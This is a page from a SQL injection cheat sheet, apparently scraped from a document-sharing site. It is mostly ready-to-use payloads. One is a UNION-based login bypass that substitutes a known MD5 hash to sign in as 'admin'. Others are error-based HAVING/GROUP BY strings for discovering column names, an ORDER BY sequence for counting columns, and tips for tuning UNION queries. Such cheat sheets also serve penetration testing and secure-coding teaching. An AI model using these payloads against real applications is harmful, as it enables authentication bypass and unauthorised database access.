Sql Injection Cheat Sheet Page 7

ADVERTISEMENT

If application is first getting the record by username and then compare returned MD5
with supplied password's MD5 then you need to some extra tricks to fool application to
bypass authentication. You can union results with a known password and MD5 hash of
supplied password. In this case application will compare your password and your
supplied MD5 hash instead of MD5 from database.
Bypassing MD5 Hash Check Example (MSP)
Username :
admin
Password :
1234 ' AND 1=0 UNION ALL SELECT 'admin',
'81dc9bdb52d04dc20036dbd8313ed055
81dc9bdb52d04dc20036dbd8313ed055 = MD5(1234)
Error Based - Find Columns Names
Finding Column Names with HAVING BY - Error Based (S)
In the same order,
'
HAVING 1=1 --
' GROUP BY table.columnfromerror1 HAVING 1=1 --
' GROUP BY table.columnfromerror1, columnfromerror2 HAVING 1=1 -
-
' GROUP BY table.columnfromerror1, columnfromerror2,
and so on
columnfromerror(n) HAVING 1=1 --
If you are not getting any more error then it's done.
Finding how many columns in SELECT query by ORDER BY (MSO+)
Finding column number by ORDER BY can speed up the UNION SQL Injection
process.
ORDER BY 1--
ORDER BY 2--
so on
ORDER BY N--
Keep going until get an error. Error means you found the number of selected
columns.
Data types, UNION, etc.
Hints,
Always use UNION with ALL because of image similiar non-distinct field
types. By default union tries to get records with distinct.
To get rid of unrequired records from left table use -1 or any not exist record
search in the beginning of query (if injection is in WHERE). This can be critical
if you are only getting one result at a time.

ADVERTISEMENT

00 votes

Related Articles

Related forms

Related Categories

Parent category: Education